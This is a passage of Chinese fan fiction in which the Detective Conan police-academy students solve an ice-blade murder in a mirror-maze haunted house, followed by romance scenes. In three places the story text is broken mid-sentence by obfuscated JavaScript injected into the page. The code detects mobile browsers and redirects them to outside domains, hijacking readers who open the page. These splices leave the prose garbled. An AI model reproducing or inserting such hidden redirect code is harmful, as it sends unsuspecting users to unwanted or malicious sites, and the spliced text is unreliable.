身边来往的人群不乏有和他们年龄相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153832|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近情侣,但降谷零看着那些人互相注视的模样,深觉他们的恋爱和自己的恋爱好像不一样! * 一脸纠结的降谷同学和无知无觉的北川同学终于来到鬼屋门口。 镜面迷宫出奇地没有多少人排队。 询问过工作人员后才知道今天多罗碧加公园有集邮活动,集齐十五个项目傍晚可以领取一份公园准备的礼品。 镜面迷宫因为是新项目没有来得及加在任务里。 没怎么排队就轮到了降谷零他们检票,他们五人刚好一组,作为第二批玩家进了迷宫。 刚推开门,就有一股寒气扑面而来。 等人全部进来,身后大门应声关上。 头顶光源亮起,照亮整个迷宫。 摆在玩家面前的是数排镜子,呈菱形并排,光线在里面肆意穿梭反射,镜子与镜子间只留下一人通行的小路。 入口被精心制作成向下倾斜的坡,推着玩家不自觉向前,像是要主动走进镜面搭建的深渊。 藏在暗处的音响恰好在此时发出心脏跳动的咚咚声。 “这鬼屋还真舍得开冷气啊……”松田阵平环顾一圈,顾不上维持炫酷造型,搓了搓手臂。 室内外温差也太大了点。 仿佛为了印证他的话,脚底升起雾气,不知道藏在哪的干冰制造机缓缓启动。 浓雾只有薄薄一层,正好将镜面与地面衔接处遮住,让人看不清足底。 温度又降下一些,营造出字面意义的毛骨悚然。 北川琉生靠近这些镜子,用手指触碰:“有双面镜,也有单面镜。” 耳边音响的心跳声也在变快。 “刚刚心跳声还是两秒一次,现在是不是快了点?”降谷零也发现了。 诸伏景光肯定他的话:“是的。” 明晃晃的光线在镜子下将每一个死角照亮,这里的布置吊打许多以黑暗为主题的鬼屋,萩原研二振臂一呼,直赞来对了地方:“有意思,那我们出发吧!” “如果害怕可以躲到Hagi的身后寻求庇护哦!” 其他人没听见似的,排成一列走到他前面,一个个穿过镜子走廊。 事实证明他们五个不仅没有一个人害怕,甚至各个都相当硬核。 制造每三分钟翻转一次的旋转门企图隔开他们?三分钟而已,等等就汇合了! 单面镜造成前面没有障碍物的错觉引诱玩家撞上去?萩原研二中过一次招后其他人纷纷学聪明了。 但不妨碍松田阵平对着脑门红彤彤的幼驯染毫无顾忌地大肆嘲笑。 哪怕面对环绕的镜子里无数个血糊糊的NPC怼脸,五人面不改色。 “血腥味比较真实,但血浆制作得不是很好,太稠了。”诸伏景光眉眼弯弯,好心提醒道。 NPC:……就不能配合着表演一下害怕吗! 北川琉生终于是解决掉了那个甜筒,末了还感慨一声:“还好鬼屋温度低,冰淇淋化得慢。” 一旁降谷零则是十分自然地从他手里接过甜筒包装纸,折好放进自己的口袋后递来一张卫生纸给他。 NPC:我们要闹了!真要闹了! 令人惊喜的是北川琉生空间感意外的好,少数几次面临被迫分开的情况只要站在原地不动他就能通过各个镜面的反射找到人。 偶有追击的戏码也不用担心来回绕圈或者失去方向。 “小琉生好厉害!” 萩原研二在第三次撞上镜子前被人拉回来,并宣布接下来他要躲在北川琉生身后! 一旁松田阵平啧啧啧地往幼驯染身上扎回旋镖:“说好走最前面的呢?” “前面是不是有人影?”笑闹间,降谷零疑惑指着眼前一面镜子上被几次反射、只余小小一道的黑色身影。 猜想大概是在他们之前进来的玩家。 北川琉生只看了一眼:“看位置这个人应该在我们后面。” 诸伏景光好奇追问:“这是怎么看出来的?” 这里这么多面镜子,胡乱反射很难找到规律啊。 还没等北川琉生开口回答,就听见前方传来刺耳的尖叫声—— “啊!!” 17.三选一 “啊!!死人了!!” 叫声凄厉且此起彼伏,听起来在场的人数不少。 其中还夹杂有一道无比熟悉的男声:“大家不要慌!我已经打电话报警了,注意不要推挤、不要乱动,保护现场!” 是伊达航。 五人对视一眼,下一刻同时朝那个方向赶去。 “走这边!”北川琉生环顾一圈,找准方向,伸手推开一扇伪装成镜子的旋转门。 担心是遇到了什么危险,一时间他们连可以打电话询问这点都忘记了。 跑过两个岔路口,才终于看见人影。 “发生什么了班长?!” 五人赶到时伊达航已经基本稳住了现场。 玩家紧挨在一起,竭力避开单面镜密室的一角。 同时也让密室的场景一览无余。 干冰制造的雾气正一点点散去,让汩汩流入密室的鲜血再也没有遮挡,在地上汇成一滩猩红。 一袭白裙的女士阖目躺在血泊之中,长发如藻般披散在地面,胸口绽开一朵血色的花。 她脸上化着夸张的妆容,白色裙摆血迹斑斑,像任何一个鬼屋的普通NPC一样将玩家吓得瑟瑟发抖。 明明妆容诡异骇人,可她的神情却又十分安详。 胸口已经停止起伏,看样子已经遇害不止一段时间。 头顶有面镜子,画着一排奇怪的字符。 “先不要靠近,我们没有手套会破坏现场。”看见这群人,伊达航扎扎实实松了口气,顾不上询问他们为什么也在,转而提醒:“警察应该快赶过来了。” 在警察赶来之前他们没有人随意离开,不一会鬼屋的工作人员也匆匆赶了过来。 “丽子!”一个黑衣男人大喊着捂住嘴后退一步,反应过来后要扑上去。 警视厅搜查一课目暮十三正好赶来,他先对男人道了声节哀:“请问您和死者是什么关系?” 男人上前的动作被正在检查的警员拦住,他双腿有些发软,撑住旁边的镜子才勉强站稳,因为职业习惯想要先扯出一抹笑,但表情看起来像是要哭出来了:“我叫浅野永真,是丽子的男朋友。” 除去警校六人和伊达航的女朋友娜塔莉,在场的目击者和相关人员还有六个,他们都需要做笔录。 迷宫位置狭小,警方只能优先让技术人员先进来,暂时没有那么多人手。 得知北川琉生他们警校学员身份,为了节省时间目暮警官让他们分开协助警员。 死者全名木户丽子,25岁,是多罗碧加乐园鬼屋的员工,也是镜面迷宫里“血色新娘”NPC的扮演者。 按照迷宫剧情,她应该等在玩家们通过单面镜密室推开门时突然出现。 “我们刚解完密室谜题,灯光刚亮起,密室的旋转门就被从外面打开,她突然倒了进来。一开始我们都不知道发生了什么,还以为是剧情安排!” 其中一个目击者惊惧地环顾四周道:“警官先生,杀人凶手难道还在我们这群人中间吗?!” 垂眸看着痕检课结束对尸体的初步检查,北川琉生站在仿佛冷冻室一般密闭空间里,在内心不幸地回答:是的。 “目暮警官,死者死于心脏贯穿伤,凶器不属于市面上常见的刀具,考虑到案发地的温度,死亡时间判断为十分钟左右。” “十分钟内没有人进出密室,所以凶手应该还在这里。” “是他!一定是他杀了丽子!!”浅野永真猛地抬头,指着一个和伊达航他们一起进来的男性游客崩溃大喊:“他是丽子的前男友!” 齐刷刷的视线顺他指认的方向看去。 被人指着叫“凶手”的男子稍微一愣怔,似乎没想到他会这么说。 除了一开始的慌乱外警察到来后他就没有什么激烈的反应,此时看起来还算冷静。 男人目光投向受害者又快速挪开,语气似有不忍:“浅野,我理解你的感受,但你指认必须要有证据。” “我知道你一直在纠缠丽子!今天过来也是来找她的!”浅野永真双眼通红,声嘶力竭。 目暮十三打起十二分精神,询问面对指认有些无措的男人:“请问您有什么要解释的吗?” 男人定下心神:“我叫松尾明,之前是鬼屋的道具师,不过这周三已经辞职了,今天来是为了归还道具室的备用钥匙,以及一些工作上的交接。” “丽子确实是我的前女友,但我们上个星期就已经分开了,没有起矛盾,属于和平分手。” 听着浅野永真再一次指责怒骂,北川琉生绕过地上的尸体,来到那扇写着奇怪红色字符的镜子旋转门的另一边。 字符露出原貌。 “永恒的爱人。” 看起来和受害者的唇彩是一个颜色。 北川琉生转头询问战战兢兢的工作人员:“这扇门一开始是固定的吗?” “是、是的,警官先生,这扇门是感应门,等里面的玩家解开谜题按下正确的按钮锁会自动弹开。” 没有纠正她的称呼,北川琉生敛眸点头表示知道了,观察起旋转门后的环境。 旋转门外的走道狭窄,只比成年男性的肩膀宽上一点。 照尸体倒下的动作看,受害者应该被摆成一个靠坐在旋转门边的姿势。 跟着从密室里走过来,降谷零站在他身边看向另一个方向,抬手指着走道左边尽头一扇风格与整个迷宫格格不入的门询问:“请问一下,那扇门通向哪里?” “哦,那是去往后台走廊的门,道具室、干冰储存室都要经过后台走廊。” 闻言,北川琉生追问:“只有这一扇门?还是迷宫的各个地方都有?” “各个地方都有,出现意外情况也可以作为紧急疏散通道使用。”工作人员如实回答。 了解过情况,北川琉生点头向工作人员道谢,转头问不知道什么时候走到自己身后的降谷零:“你怎么看?” “还没有看过尸体情况呢,而且凶器也没有确定,我也不是天才啊……”降谷零略显无奈地回答。 “是有什么发现吗琉生?” 并没有,北川琉生摇头:“我只是在想怎么在杀人后迅速离开,顺便销毁凶器。” 最好还要能换套衣服鞋子,再偶遇一两个能够提供不在场证明的人。 越想他的表情就越投入,转瞬已经在头脑中构建了不下两种方案。 这家伙破案永远是凶手思路,降谷零在以往上课的时候已经领教过了,此时也不觉惊讶,只是提议说:“要去看看尸体报告吗?” 痕检科的警员正在给尸体上的致命伤拍照。 “应该是类似不规则圆锥体造成的创面,伤口宽度三厘米,深五厘米。” “还是不能确定凶器吗?”目暮警官眉心皱出一道褶皱,询问身边警员。 如果不能缩小凶器范围,就只能耗费更多警力在整个迷宫区寻找可疑物品。 时间不等人,警察也不可能一直扣留这么多目击者。 蹲下来查看尸体的创面,北川琉生问警察借了双手套,戴上后单手去触碰尸体伤口。 “失礼了。”他低声对已经不会再给出回应的受害者道。 降谷零安静等在一旁,从高效率安抚了在场所有女性的萩原研二口中知道了警方锁定的嫌疑人身份。 因为鬼屋负责人这周才调任,所以在场只有三个人与死者相识。 死者男友,鬼屋灯光师浅野永真先生;前鬼屋道具师、死者前男友松尾明先生;鬼屋化妆师、死者好友,同时也是刚刚回答北川琉生问题的工作人员,小柳利美女士。 “两位男士和死者的感情纠葛还算简单。他们曾经同时追求过死者,前男友先生率先俘获对方芳心。但在交往一段时间后前男友提出要辞职换一份更加稳定、收入更可观的工作,丽子小姐不能接受,争论无果后两人选择分开。” 萩原研二抚摸着下巴接着说:“于是浅野先生伺机而上,安慰伤心的丽子小姐,抱得美人归。” “案发时浅野说自己在后台、松尾则跟玩家一起在密室里。” “至于利美小姐则是给受害者化完妆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174243|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一直待在化妆间。她看起来非常伤心,娜塔莉小姐正在安慰她。” “娜塔莉?”对新出现的名字降谷零一时间没有反应过来。 “是班长的女朋友啦!娜塔莉小姐是位非常温柔腼腆的女士,”显然萩原研二已经抢先所有人一步了解了情况:“因为在路边被抢劫,被正在读大学的班长帮助才认识的,一见钟情哦!” 其他人:……不愧是你。 在询问嫌疑人的同时居然还能兼顾八卦。 于是他们异口同声:“对方是哪里的人?” …… 闹归闹,大家还不至于真的在犯罪现场开小差。 几个人主动帮警察们了解了更多的情况。 “解密时黑灯和密室门被打开后亮灯都是剧本设计,黑灯时间有大概十分钟,需要灯光师控制,所以听到尖叫声时我正在后台。”浅野永真的情绪总算是稳定了下来,只时不时还要狠狠瞪上不远处配合回答的松尾明一眼。 松尾明无动于衷,在确定对方属于无理取闹后就不再搭理。 “鬼屋确实有两个监控,但都没有对准密室门口。”鬼屋负责人一脸要哭出来的表情。 木户丽子在半个小时前就做好了出场准备,期间在二十分钟前在监控中出现过一次。 当时的人太多,松尾明又是作为游客一个人来的鬼屋,没有人能保证密室里黑灯的近十分钟没有人偷偷进出,所以暂且不能排除嫌疑。 而在后台的两位工作人员也有充分的时间作案。 ……所以还是要在凶器上找线索吗? 绕来绕去事情又回归原点。 刚刚一直在负责笔录的伊达航已经自发地帮忙在迷宫内寻找符合要求的可疑物品。 这里的温度还是有些低,离开前他脱下外套披在女朋友身上,嘱咐她不要着凉。 “放心,”金发女孩温柔地笑着回应,面色还是有些苍白,拢紧外套的领口不让对方担心。 说完她转头,就见刚刚地鼠般冒出来的五个同龄青年正齐刷刷看着自己,两眼压不住八卦的光芒。 不习惯被人注视的娜塔莉瞬间脸颊绯红。 “咳,”诸伏景光率先收回视线,小声提醒其他人:“收敛一点,这样好像不太礼貌。” 萩原研二一脸在看熊猫的表情:“我知道,但这可是我们几个人之间的第一朵桃花,但有一必有二,蹭班长气运脱单指日可待!” 北川琉生和降谷零不需要招桃花,但也难掩好奇。 这可是班长的女朋友! 不过让女士不自在确实非常失礼,大家还是收敛了不少。 几人友善打过招呼,挨个自我介绍。 知道这些人没有恶意,娜塔莉眼睛眨了眨尝试搭话,她先介绍了一下自己,又细声提醒再一次思考起案件的北川琉生:“你的领子上沾着东西。 北川琉生低下头,看见领口果然有污渍。 是刚刚融化的巧克力冰淇淋。 像是想到什么,他缓缓睁大眼,拉动降谷零衣袖喃喃自语: “还真是安逸久了,我竟然没有第一时间认出伤口来源……” 降谷零没有听清:“什么?” 转头他撞进一双明亮得藏着镜面反射出的碎光的浅色眼睛里,只听到对方说:“我知道凶器是什么了!” 其他人和娜塔莉面面相觑,都不太能跟上他过于跳跃的思维。 降谷零则若有所思。 来不及擦领口的冰淇淋渍,北川琉生郑重向不明所以的娜塔莉道谢。 刚刚已经有不少警察听见他刚刚的话。 他们纷纷看过来,目露疑惑:“凶器是什么?” “有尝试检测创口周围和受害者衣物的残留物质和水溶性血红蛋白比例吗?”北川琉生没有回答,而是询问检查人员:“还有创口边缘冻伤性收缩情况。” 这几个方向指向性太强,其他人还是没跟上对方的节奏。 北川琉生语气坚定,明确地说出自己的猜测: “凶器可能是冰刀。” 18.破案 话说出口的瞬间,众人齐齐一怔。 降谷零没有忘记观察三位嫌疑人的表情。 北川琉生对众人解释,语气让人不自觉信服:“受害者伤口和金属刀具造成的平滑切口不同,双手沾有自己的血迹却没有防御性切割伤——由此可见凶器应该没有刃纹,自制的不规则利器可能性很大。加上受害者的伤口没有出现皮下出血,可能是因为低温麻痹神经。” 虽然肉眼难以查出更详尽的证据,但尸体送回警视厅后想要证明北川琉生的观点并不难。 “至于凶器是冰刀只是我个人的猜测,我想鬼屋里应该有储存冰块和干冰的地方吧。”北川琉生用着陈述的语气说。 “有!就在后台,”终于有鬼屋负责人能插上话的部分,他连忙配合:“我可以带你们去!” 见状目暮警官派两个警员跟上。 现场勘测完,目击证人和嫌疑人们都被带往了更为宽敞的后台工作区。 嫌疑人们开始争先恐后地撇清嫌疑。 “我和丽子正在热恋期,感情非常好,根本就没必要杀害她!”浅野永真显然对自己被当成嫌疑人这件事十分恼怒,几度压过悲伤。 反观另一位松尾先生则要冷静很多:“我会以游客的身份来迷宫,是因为这个迷宫最开始的也有我的一份,算是亲眼见证一下工作成果吧……我确实约好了在交接完工作和丽子见一面,但也只是为了交还一些物品,你们可以检查我的短信。” 鬼屋负责人看见眼眶哭得通红的小柳利美后突然想起什么,右手拳头砸在左手掌心,开口说:“对了,今天化妆的时候小柳你是不是和木户吵起来了!” 众人挪来目光,探究的视线落在娜塔莉身边的女人身上。 突然变成人群的关注点,小柳利美动作一顿,下意识看了浅野永真一眼:“我、我确实和丽子说了一点私事,她当时确实有些不高兴。” 她很快让自己镇定下来:“但我也没有理由杀……对自己的朋友下手!” 显然,她想竭力避开那个字眼。 认真听完三个人的说法,目暮警官转头询问警校几人:“诸位有什么看法吗?” 无论从哪个角度看这些人都无比优秀,不到半个小时这位警官先生就已经对眼前几个未来的同事充满好感。 目暮十三对他们的意见很重视。 分析人物动机这门课程除了降谷零以外,他们几个中得分最高的是萩原研二,两人也都希望自己能够帮上些忙,表现得很积极。 察觉到衣角被拉动,降谷零偏头,就看见北川琉生似乎有话要说。 他弯下腰侧耳倾听。 只有两个人能听见的声音传入耳中,激起一阵痒意。 然后他听见了一个名字。 “我去看看监控有没有拍到什么。”说完北川琉生就要离开,降谷零拉都没拉住。 完全不管自己一句话能炸起多大水花。 好歹把话说清楚啊! 降谷同学看起来非常想把人给捞回来给他解释,但人已经飘远了。 想起刚刚听到的内容,他再一次把视线转向三个嫌疑人。 虽然不知道琉生是怎么得到的答案,但不妨碍降谷零更有重点地关注当下情况。 思路一下变得清晰明了。 ……原来做证明题是这种感觉吗? 不过这种方法可能也只有北川琉生能用吧,降谷零这么想着,也没有忽略其他两位嫌疑人。 作为年级第一,他当然也有自己的破案思路。 也不逊色就是了。 …… 尸检报告和检查干冰储存室的警员同时有了结果。 “报告警部,尸检结果显示受害者的刺伤角度呈斜向上,创口表面有明显冻伤性收缩,血管断端也有挛缩迹象,衣物沾有延缓冰块的明胶物质。” “目暮警部,我们在储存室找到了制作冰刀的模具和明胶。” 一位警员猜测:“现在嫌疑最大的就是小柳小姐了。根据伤口方向判断凶手或许比受害者要矮上一些,小柳小姐有充分的作案时间,并且熟悉迷宫结构,至于作案动机很有可能是和受害者发生争执。” 话音落,聚在一起的女士们除了娜塔莉都往后退了一大步,拉开与小柳利美的距离。 小柳利美脸色倏地涨红:“我没有!鬼屋的工作人员对这里都很熟悉,而且丽子出事的十分钟我一直都待在化妆间没有出来过,浅野君可以作证!” 她把求助的目光投向不远处的男人。 浅野永真肯定道:“我去仓库找没拆封的矿泉水,确实有敲过化妆间的门问小柳需不需要带一瓶。” 他依旧坚持自己的猜测:“这间密室的前后门之间并不是死路,松尾明完全可以趁黑灯的时候通过后台走廊绕过去对丽子动手!” “明明丽子已经跟你没有关系了,你为什么还要来找她,如果不是你她根本不会死!” 声嘶力竭地指责传遍整个后台,眼见他情绪又一次失控,闲下来的松田阵平不得已走过来安抚。 他黑着脸,不知道怎么开口,抱肘盯着男人站定,看起来更像要揍人:“喂,安静。” 别说还真有奇效,面对眼前恶势力一般的松田阵平,浅野永真后退一步,嘴唇嗫嚅地低声说了句什么,没再开口。 看那边安静下来,萩原研二接着询问小柳利美:“能冒昧问一句,你和丽子小姐今天交谈的具体内容吗?” 他说得礼貌极了,但小柳利美却知道此时自己不能拒绝。 她又看了浅野永真一眼,声音越说越低:“……我当时只是劝丽子、劝丽子不要意气用事,因为和松尾君闹别扭而这么快答应浅野君的追求。” 关注着这边的另外两个嫌疑人同时侧目,浅野永真更是瞪大双眼:“你说什么?!” 他怒不可遏:“我和丽子的事你插什么手?!” “因为你根本不可靠!”说到这件事小柳利美语气强硬了不少,声量提高。但后面的话又难以启齿,渐渐没了声音:“以前就因为丽子和松尾在一起就偷偷造谣丽子……” 她没明说,但现场大部分人都了然。 松尾明不着痕迹地皱眉。 “……丽子不知道,不代表我没有听到。”小柳利美想起好友的死小声啜泣。 浅野永真面色难看,又不能当着这么多人的面发火,表情有些扭曲:“现在是讨论这个的时候吗?把杀人的家伙抓住才是最重要的事情吧!” 几次被挑衅,松尾明再忍下去就不能用“好脾气”来形容了,他低喝一声:“够了浅野!你能不能别总像只狗熊一样四处撒野!” “好过你总是装模作样,衣冠禽兽!” 在场警员左看看右看看,看着他们吵,目暮警官几次要喝止都被压下声音,脸色越来越黑。 就在他忍不住要动怒的下一秒,一只深色皮肤的手拍在目暮警官的肩膀上。 降谷零从他身后走出:“没错,现在找凶手才是正事,但我没想到浅野君这么积极。” 他目光扫视一圈,落在男人身上:“是迫不及待想要自首了吗?” …… 空气瞬间凝固。 有很长一段时间都没有人说话。 情况转变得猝不及防,目暮警官也在状况外,瞬间忘记生气:“降谷君是找到了什么证据吗?” 同时他接到寻找凶器的警员通知,没有在密室和后台找到冰刀之类的物品。 这给了浅野永真底气,他目光凶狠地盯着金发青年,语气愤愤:“没有证据也可以随便诬蔑吗?我要告你诽谤罪!丽子出事的时候我明明在控制室操控密室的开关,根本没有时间作案!” 降谷零有理有据、不为所动:“根据你刚刚的证词,密室的黑灯时间准确有十三分钟,如果只需要在开关灯的时候保证控制室有人,这个不在场证明就不成立。” “这不过是你的臆断!”浅野永真这时候想起指认需要证据了,梗着脖子说。 目暮警官沉思后也对降谷零道:“他说的也不是没有道理,还是说你已经知道凶器在哪了?” 降谷零摇头,他不知道。 但北川琉生已经有了答案。 棕发青年从人后走出,晃了晃手机:“已经通知我们的同伴去找了警官。如果我猜得没错,冰刀被藏在了干冰烟雾机里,对吗?” 后半句是看着浅野永真说的。 对方脸色瞬间煞白。 将这一幕收入眼底,诸伏景光道:“加了明胶的冰块在短时间内很难融化,比起藏在其他地方,烟雾机的干冰桶确实掩人耳目。” 他目光暗下:“但相应的,有干冰降温,冰刀更不可能融化了。” 话刚落,出去找凶器的警员和伊达航终于回来:“警部,找到凶器了!我们在上面提取到了血迹,已经送往警视厅做对比。” 浅野永真目光紧紧盯住警察手里的证物,挣扎着一字一顿:“你们不能证明是我动的手,明明那两个家伙的动机要更加充分。” 对此降谷零点头表示赞同,开口抛出更强有力的证据:“我想无论你是带了手套还是做了别的措施,都来不及换掉这身衣服吧?以向上的角度刺伤受害者,袖口难免沾上融化的冰刀液体和受害者血迹,介意检查一下吗?” 浅野永真下意识捂住右手衣袖。 这一举动在其他人眼里无异于不打自招。 无需多说什么了。 关闭密室灯光后浅野永真利用后台走廊和对木户丽子工作地点的熟悉,拿着提前准备好的凶器将她杀害,再通过走廊回到控制室将灯打开。 他甚至绕到鬼屋入口处,把冰刀藏入最远的干冰烟雾机里。 却还是被发现了…… 目暮警官已经拿出手铐,只等最后的结果。 “……不可能,你们根本没有理由怀疑我。”他后退着低语,目光从强撑的凶狠向茫然转变。 身边警员呈包围之势靠近,警惕他反抗。 “多说多错,破绽太多,”回答他的是北川琉生。 他走到降谷零身边站定,面对眼前的杀人凶手目光毫无波澜:“请问‘乖乖’待在控制室的浅野先生为什么会跑去化妆间和小柳小姐打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15174244|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个照面?你的措辞也很有意思,可以解释一下什么叫没有杀害木户小姐的‘必要’吗?” 想起他们在迷宫看见的那道影子,他轻声细语,发自内心质疑:“这里这么多面镜子,每一面都是一双眼睛,你就这么有把握自己能够躲开所有的注视?” 浅野永真恍然睁大眼睛,再次后退时直接摔坐在地上。 眼前青年的脸与什么人的重合,他好像回到了不久之前,看见那双带着难以置信和绝望的漂亮眼睛。 直直地看着自己。 在身后、身侧、身前的镜子里……看着自己。 无数个木户丽子胸口绽开,带着诡异的妆容,直勾勾看着他倒下,唇瓣轻动不知道想要说什么,她再也没有机会说了…… “你为什么要见他!!我就一点也比不上这个人吗?!” 浅野永真和记忆里的自己同时吼出声,一个压低声音嘶哑阴鸷,一个高声尖厉疯狂。 松尾明僵在原地难以置信:“就因为这样可笑的原因?!” 瞬间崩溃的还有小柳利美,她几乎是哭着吼出声:“她还反驳我!我说你不好她还在维护你!!浅野永真你把丽子还给我!!” “……明明我才是她男朋友,松尾明就是手下败将,”被拷上时浅野永真还在喃喃自语。 “她是我的新娘……” 浅野永真被警察带走,离开前神色恍惚。 擦肩而过的瞬间,北川琉生像突然想起什么,温和低语:“请一定要答应我好好改造,至少要在监狱里学会‘诽谤’两个字怎么写,好吗?” * 游玩公园的计划泡汤了一半,连带伊达航难得的约会也草草收场。 好在娜塔莉小姐人美心善,一点也不嫌弃想要补救却显得手忙脚乱的班长。 从鬼屋出来后降谷零就保持着沉默,没有怎么说话,似乎情绪低落。 北川琉生走在他旁边,不明白问题出在了哪里,只好归咎于刚刚的凶杀案。 于是他找了个借口将人拉到一旁。 “怎么了?”花坛后,北川琉生抬头注视对方的眼睛询问。 还在思考他最后一句话,降谷零一愣,眨眼回神:“什么?” 刚刚对浅野永真的话他听得很清楚,北川琉生也没有刻意避开自己。 所以……降谷零这一路上一直在想:他刚刚是为了自己生气吗? 这是件稀奇事,毕竟他很少在北川琉生的身上感受到这种情绪,更何况是为了自己。 所以现在的降谷零不仅没有不开心,甚至内心深处还升起一些让他自我唾弃的窃喜。 而现在,北川琉生甚至还在安慰他。 “是心情不好吗?”他轻声询问。 几乎是立刻做出应对,降谷零脸不红心不跳,一双灰紫色眸子透过略长的刘海垂下,看着眼前人点头承认。 至于心情不好的原因,他暂时还没编好。 但不妨碍他期待地看着北川琉生。 脑海里的想法逐渐天马行空起来。 以这两天对他的了解,降谷零觉得北川琉生估计会从兜里掏出颗糖来哄…… 柔软温和的触感印在唇角,猝不及防地靠近,一道呼吸轻轻扑在脸侧。 带着柠檬、玫瑰和一丝巧克力冰淇淋的香味。 降谷零倏地被定在原地,仿佛一尊缓缓石化的雕塑。 没有一触即分,不是错觉……他甚至清晰地感觉到那个存在在他唇角蹭了一下。 目光一点点垂落,是北川琉生近在咫尺的脸和气息。 但他大脑已经停止了运作,好像除了傻站,什么都不会了。 不知道过了多久,北川琉生才和他分开,抬眼时目光澄澈。 他眼中笑意融化冰层;“哄男朋友……是这样哄的吧?” 那双手不知道何时搭上他的肩膀,降谷零依然保持着刚刚的姿势,神情茫然。 他微微张口,却没有发出任何声音,反倒让唇边残留的触感又一次明显。 脸颊顷刻红透。 “你……” 他还没来得及说些什么,就被身后巨大响动惊得回头。 熟悉的场景,挤在一起的家伙变成了另外四个。 还加上一个抬手捂着嘴,笑容友善而羞怯的娜塔莉小姐。 见他们看过来,四人反应各异。 伊达航一阵无措:“额、那什么……” 萩原研二双眼闪闪发光:“继续继续!” 墨镜从鼻梁滑下,几乎落到松田阵平的嘴唇:“你们……什么时候的事?” 而诸伏景光仿佛站在黑色背景中闪着诡异的柔光:“Zero、琉生,你们是不是有事忘了告诉我们?” “不过没关系的,我们能理解。” 孩子到该有小秘密的年纪了…… 看着眼前同伴,再转头看向对方,降谷零和北川琉生对视一眼,同时看懂了其中的未尽之言。 下一刻,他拉住北川琉生的手转身就跑! “别跑——抓住他们!” “解释!我们要解释!” 19.毕业 大部分游客都聚集在广场兑换今天的活动奖品,公园许多项目都被冷落在了一旁。 降谷零眼疾手快,拉住北川琉生跳上如救星降临一般的摩天轮。 缓缓升起的舱体隔住几道幽幽视线。 “好险……” “Hiro的眼神好可怕。” 两人同时松了口气,再次抬头时相顾笑出声。 他们的脸都染上薄薄的红色,但只有一半是因为刚刚的追逐。 另一半他们心知肚明。 紧握的手不知何时变为了十指相扣,两个人肩并肩坐在一侧,看摩天轮缓缓上升。 暮色给四周晕开一层缱绻。 紧贴的掌心之间逐渐没了温差。 但降谷零的体温太高,抓住北川琉生时升起一层薄汗。 就这样坐了一会,降谷零出声打破沉默:“琉生,刚刚那个问题我还没来得及回答。” 北川琉生疑惑眨眼:“什么问题?” 他怎么没有印象? 没等他仔细想,眼前的人突然凑近,两人再一次呼吸相贴。 这一次不是唇角,温热的触感停留在北川琉生的唇上。 先是温和的、一触即分,分开的下一刻又再次交缠在一起。 不再满足于浅尝辄止,降谷零不容拒绝地试探着分开对方唇齿,动作温柔轻巧。 “唔!” 没有被给予任何反应的机会,北川琉生下意识抓上进攻者肩上的衣物,漂亮的指节蜷起,因为用力泛出白色。 另一只手仍然被紧紧扣住。 搭在后颈的手阻挡了青年全部的退路,彰显出一丝与主人温柔动作截然不同的强硬。 急促的呼吸连同四周的空气一起变得粘稠。 睁开眼睛,北川琉生看见的是逆着夕阳的青年,垂着眸,浅金色睫毛发着光,随动作颤动。 心脏跳动声在全身传响。 让人遗忘了最本能的呼吸。 直到最后一丝氧气被耗尽,呼吸开始凌乱无章,纠缠的气息才再一次分开。 他下意识扬起脸,想要追逐离开的那抹温热。 降谷零低下头,两人额头相抵。 “这才是哄男朋友,”青年声音微哑,回答着刚刚的话,手指搭在白皙的脖颈处感受着对方的心跳:“琉生学会了吗?” 命脉被按住的危机和如鼓的心跳一同在胸腔叫嚣,北川琉生抬头,眼中全是朦胧水雾和不服输的挑衅:“没有。” “那就再学一次好了……” 摩天轮越过最高处,没有烟花、没有星光。 但看见晕开的晚霞时北川琉生就在想—— 今晚的月色一定很美。 …… …… 摩天轮不可能永远停在半空,而警校的优秀学生们又深知跑得了和尚跑不了庙,一早守在了出口处。 当两人出来的时候就看见四个人高马大的家伙凶神恶煞地杵在那。 周围游客纷纷小心翼翼绕道避开,害怕惹上不法分子。 萩原研二不知道从哪借来一根棒球棒,让表情最具威慑力的松田阵平拿着,时不时在掌心敲打。 “咳,”见他们拉着手出来,松田阵平率先开口给接下来的“刑讯”定下基调:“坦白从宽、抗拒从严!” 站在身后的伊达航他们齐齐赞同地点头。 降谷零瞬间半月眼,额头垂下一排黑线,对此表示十分不解:“你们这也太兴师动众了吧!” 北川琉生安静站在一旁没有搭腔。 他现在不太想说话。 嘴唇有些发麻,仔细看还有点肿,红得像沾过露水的玫瑰花瓣,只能用袖子挡住。 明明力是相互的,可降谷零就一点事也没有…… 所以就让罪魁祸首一个人舌战群儒好了。 